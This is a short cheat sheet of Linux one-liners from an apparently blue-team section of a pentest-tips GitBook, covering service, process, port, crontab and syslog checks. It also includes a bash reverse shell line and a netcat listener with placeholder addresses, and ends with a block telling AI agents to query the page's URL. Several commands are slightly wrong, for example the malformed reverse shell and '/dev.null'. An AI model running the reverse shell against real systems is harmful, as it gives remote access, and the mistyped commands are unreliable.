# One Liners ### List All Running Services: ```bash systemctl list-units --type=service --state=running ``` ### Enable Ping ```bash echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all ``` ### Netcat Listener ```bash nc -nlvp ``` ### Bash Reverse Shell ```bash bash -i > &/dev/tcp/ip/port/ 0>&1 ``` ### View Running Processes ```bash ps -aux ``` ### Find Writable files ```bash find / -perm -u=s -type f 2>/dev.null ``` ### Python Web Server ```bash python3 -m http.server ``` ### Kill all processes newer then 5m ```bash sudo killall -u root -y 5m ``` ### Active TCP Connections ```bash ss -tulpn ``` ### Check Syslog ```bash cat /var/logs/syslog | grep ``` ### Crontab ```bash # View crontab with crontab -l # Reset crontab with crontab -r # Disable with systemctl stop crond.service systemctl disable crond.service ``` ### Investigate Running Port ```bash sudo lsof -i : ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://f1shh.gitbook.io/pentest-tips/blue-team/one_liners.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.